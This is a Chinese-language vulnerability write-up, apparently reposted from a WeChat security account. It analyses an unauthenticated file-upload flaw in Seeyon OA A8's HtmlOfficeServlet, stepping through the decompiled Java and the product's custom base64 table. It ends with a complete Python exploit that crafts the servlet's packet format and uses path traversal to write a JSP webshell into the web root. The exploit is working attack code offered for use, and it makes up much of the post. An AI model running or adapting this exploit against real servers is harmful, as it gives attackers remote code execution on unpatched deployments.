全文共计3127个字,预计阅读时长10分钟
这是一个历史漏洞了,前台即可getshell。
下面开始漏洞分析
HtmlOfficeServlet
在web.xml下存在这么三个servlet
,这三个servlet
都是未授权的,其中我们重点关注下HtmlOfficeServlet
在doGet
方法一开始通过xml
加载bean
的形式,拿到实例化对象。
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
AppContext.initSystemEnvironmentContext(request, response);
HandWriteManager handWriteManager = (HandWriteManager)AppContext.getBean("handWriteManager");
HtmlHandWriteManager htmlHandWriteManager = (HtmlHandWriteManager)AppContext.getBeanWithoutCache("htmlHandWriteManager");
iMsgServer2000 msgObj = new iMsgServer2000();
try {
handWriteManager.readVariant(request, msgObj); //对msgObj对象进行初始化配置
...
msgObj.SetMsgByName("CLIENTIP", Strings.getRemoteAddr(request)); // 获取CLIENTIP
String option = msgObj.GetMsgByName("OPTION"); // 获取OPTION,之后通过OPTION来判断执行什么操作。
if ("LOADFILE".equalsIgnoreCase(option)) {
...
} else if ("SAVEASIMG".equalsIgnoreCase(option)) { //重点注意这个SAVEASIMG的操作
String fileName = msgObj.GetMsgByName("FILENAME");
String tempFolder = (new File((new File("")).getAbsolutePath())).getParentFile().getParentFile().getPath();
String tempPath = tempFolder + "/base/upload/taohongTemp";
File folder = new File(tempPath);
if (!folder.exists()) {
folder.mkdir();
}
msgObj.MsgFileSave(tempPath + "/" + fileName);
}
handWriteManager.sendPackage(response, msgObj);
} catch (Exception var11) {
...
}
}
这里我们先一步一步来看
保存文件
我们先来看看SAVEADIMG
这个方法。可以看到首先从msgObj
获取了文件名之后,直接拼接到了路径上,随后通过MsgFileSave
方法来保存文件。
public boolean MsgFileSave(String var1) {
try {
FileOutputStream var2 = new FileOutputStream(var1);
var2.write(this.FMsgFile);
var2.close();
return true;
} catch (Exception var3) {
this.FError = this.FError + var3.toString();
System.out.println(var3.toString());
return false;
}
}
我们可以看到,这里将FMsgFile
写入进了文件里,但是这个FMsgFile
又是从何而来,如果能够控制这个FMsgFile
的内容,那么就可以写Shell了
初始化msgObj
首先进入
public void readVariant(HttpServletRequest request, iMsgServer2000 msgObj) {
msgObj.ReadPackage(request);
....
}
先来看看这个,msgObj
是如何从request
中读取内容的,继续跟进ReadPackage
方法,接着一路跟进到StreamToMsg
方法
private boolean StreamToMsg() {
byte var2 = 64;
boolean var3 = false;
boolean var4 = false;
boolean var5 = false;
boolean var6 = false;
String var7 = "";
String var8 = "";
this.FMd5Error = false;
try {
byte var14 = 0;
String var1 = new String(this.FStream, var14, var2);
this.FVersion = var1.substring(0, 15); //均为15位,有一位的间隔。
int var11 = Integer.parseInt(var1.substring(16, 31).trim());
int var12 = Integer.parseInt(var1.substring(32, 47).trim());
int var13 = Integer.parseInt(var1.substring(48, 63).trim());
this.FFileSize = var13;
int var15 = var14 + var2; // 从64开始
if (var11 > 0) { //如果TextSize > 0 根据Size读取流中的Text部分的参数
this.FMsgText = new String(this.FStream, var15, var11);
}
var15 += var11;
if (var12 > 0) { // 如果ErrorSize > 0 根据Size读取流中的Error部分的参数
this.FError = new String(this.FStream, var15, var12);
}
var15 += var12;
this.FMsgFile = new byte[var13];
if (var13 > 0) {// 如果ErrorSize > 0 根据Size读取流中的File的内容
for(int var9 = 0; var9 < var13; ++var9) {
this.FMsgFile[var9] = this.FStream[var9 + var15];
}
...
}
return true;
} catch (Exception var10) {
...
}
通过上面的分析,我们看样很清晰的了解到,msgObj
是如何解析我们发过去的包。很类似文件存储的性质,首先划分一块地区,用于描述各个区块的Size,以及一些元信息。这里地区一共分为4类。
-
版本号(元信息)
-
TextSize
-
ErrorSize
-
FileSize
这三个Size用于之后对整个包进行一块一块的解析,并且获取到Text
,Error
,FileContent
。
逐个获取参数
那么理解了如何解析我们发过去的包之后,我们便可以接着初始化那一块往下看
public void readVariant(HttpServletRequest request, iMsgServer2000 msgObj) {
msgObj.ReadPackage(request); //初始化
this.fileId = Long.valueOf(msgObj.GetMsgByName("RECORDID")); // long型的RECORDID,从Text中获取
this.createDate = Datetimes.parseDatetime(msgObj.GetMsgByName("CREATEDATE"));// Date型的CREATEDATE,从Text中获取
String _originalFileId = msgObj.GetMsgByName("originalFileId"); // String型的RECORDID,从Text中获取
this.needClone = _originalFileId != null && !"".equals(_originalFileId.trim()); // 无所谓参数
this.needReadFile = Boolean.parseBoolean(msgObj.GetMsgByName("needReadFile")); // Bool型
if (this.needClone) {
String _originalCreateDate = msgObj.GetMsgByName("originalCreateDate");
this.originalFileId = Long.valueOf(_originalFileId);
this.originalCreateDate = Datetimes.parseDatetime(_originalCreateDate);
}
}
这里按照要求满足各个参数的类型即可!不然readVariant
这个流程出错,自然走不到之后的流程.
那么我们接着而看如何获取msgObj
中的参数的。继续跟进GetMsgByName
方法。
public String GetMsgByName(String var1) {
boolean var2 = false;
boolean var3 = false;
String var4 = "";
String var6 = var1.trim().concat("=");
int var7 = this.FMsgText.indexOf(var6);
if (var7 != -1) {
int var8 = this.FMsgText.indexOf("rn", var7 + 1);
var7 += var6.length();
if (var8 != -1) {
String var5 = this.FMsgText.substring(var7, var8);
var4 = this.DecodeBase64(var5);
return var4;
} else {
return var4;
}
} else {
return var4;
}
}
这里的重点就是在以下两行
String var5 = this.FMsgText.substring(var7, var8);
var4 = this.DecodeBase64(var5);
首先对我们的FMsgText
进行一个截取,获取到右值。然后对右值进行一个base64
的解密。跟进去一看发现是他自己实现的一个base64
,其实就是相当于换了一个符号表而已。所以这里有两种办法,一个是将java
代码转成python
,或者使用python
中的转化表做一个转化就行了
table = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"
def b64str(s: str):
result = ""
var5 = 0
length = 0
charList = [ord(i) for i in s]
tempList = [0, 0, 0, 0]
while length < len(charList):
var5 = charList[length]
length += 1
tempList[0] = ((var5 & 252) >> 2)
tempList[1] = ((var5 & 3) << 4)
if length < len(charList):
var5 = charList[length]
length += 1
tempList[1] += ((var5 & 240) >> 4)
tempList[2] = ((var5 & 15) << 2)
if length < len(charList):
var5 = charList[length]
length += 1
tempList[2] = (tempList[2] + ((var5 & 192) >> 6))
tempList[3] = (var5 & 63)
else:
tempList[3] = 64
else:
tempList[2] = 64
tempList[3] = 64
# print(tempList)
for i in range(0, 4):
result += table[tempList[i]]
return result
使用转化表转化
def b64str(input: str):
RAW = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
CUSTOM = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"
transformer = input.maketrans(RAW, CUSTOM)
return base64.b64encode(input.encode()).decode().translate(transformer)
SAVEASIMG
整个readVariant
完成之后,便从msgObj
中获取OPTION
然后根据OPTION
来进行对应的操作
到这里整个分析就结束了.
exp
# -*- coding: utf-8 -*-
""" Python
Author: Mrkaixin
Date: 2021-04-13 11:09
FileName: zy_httpOfficeServletGetshell.py
"""
import base64
import os
import string
from datetime import datetime
import requests
def b64str(input: str):
RAW = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
CUSTOM = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"
transformer = input.maketrans(RAW, CUSTOM)
return base64.b64encode(input.encode()).decode().translate(transformer)
# def b64str(s: str):
# result = ""
# var5 = 0
# length = 0
# charList = [ord(i) for i in s]
# tempList = [0, 0, 0, 0]
# while length < len(charList):
# var5 = charList[length]
# length += 1
# tempList[0] = ((var5 & 252) >> 2)
# tempList[1] = ((var5 & 3) << 4)
# if length < len(charList):
# var5 = charList[length]
# length += 1
# tempList[1] += ((var5 & 240) >> 4)
# tempList[2] = ((var5 & 15) << 2)
# if length < len(charList):
# var5 = charList[length]
# length += 1
# tempList[2] = (tempList[2] + ((var5 & 192) >> 6))
# tempList[3] = (var5 & 63)
# else:
# tempList[3] = 64
# else:
# tempList[2] = 64
# tempList[3] = 64
# # print(tempList)
# for i in range(0, 4):
# result += table[tempList[i]]
# return result
def request():
print("[+] 该网站可能存在漏洞")
payload = GetPayload()
f = open(os.getcwd() + "/src/mrkaixin.jsp", encoding='gbk').read()
fLen = len(f)
version = "1" * 15 # 15位
fileSize = "%016d" % fLen # 15位
error = "%016d" % 0 # 16位
textSize = "%016d" % len(payload)
Prefix = f"{version}{textSize}{error}{fileSize}"
# Prefix = "DBSTEP V3.0 355 0 666 DBSTEP=OKMLlKlV"
r = requests.get(url, data=Prefix + " " + payload + f, proxies=proxies)
ShellPath = url.split("htmlofficeservlet")[0] + "/bx.jsp"
print("[+] 已发送Payload 请查收Shell: " + ShellPath)
# print(r.content)
def check():
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
session = requests.Session()
headers = {"Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
response = session.get(url, headers=headers, proxies=proxies)
if response.text.find("DBSTEP") != -1:
return True
return False
def GetPayload():
payload = "OPTION={}@".format(b64str('SAVEASIMG'))
payload += "FILENAME={}@".format(b64str('../../../ApacheJetspeed/webapps/ROOT/bx.jsp')) # 文件名可以改
payload += "RECORDID={}@".format(b64str("11111111"))
payload += "createDate={}@".format(b64str(datetime.now().strftime("%y-%m-%d %H:%M:%S")))
payload += "originalFileId={}@".format(b64str("1111"))
payload += "needClone={}@".format(b64str("test"))
payload += "needReadFile={}@".format(b64str("true")) # 别改
payload += "originalCreateDate={}@".format(b64str("11111"))
return payload.replace("@", "rn")
def main():
result = request() if check() == True else None
if __name__ == '__main__':
url = "http://192.168.14.132/seeyon/htmlofficeservlet"
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
main()
PS: 求近两年HW java相关的oa、cms等源码,后续分析一波! 谢谢师傅
喜欢这篇文章,点个👍再走吧
本文始发于微信公众号(黑伞攻防实验室):致远OA A8 HtmlOfficeServlet前台GetShell 分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论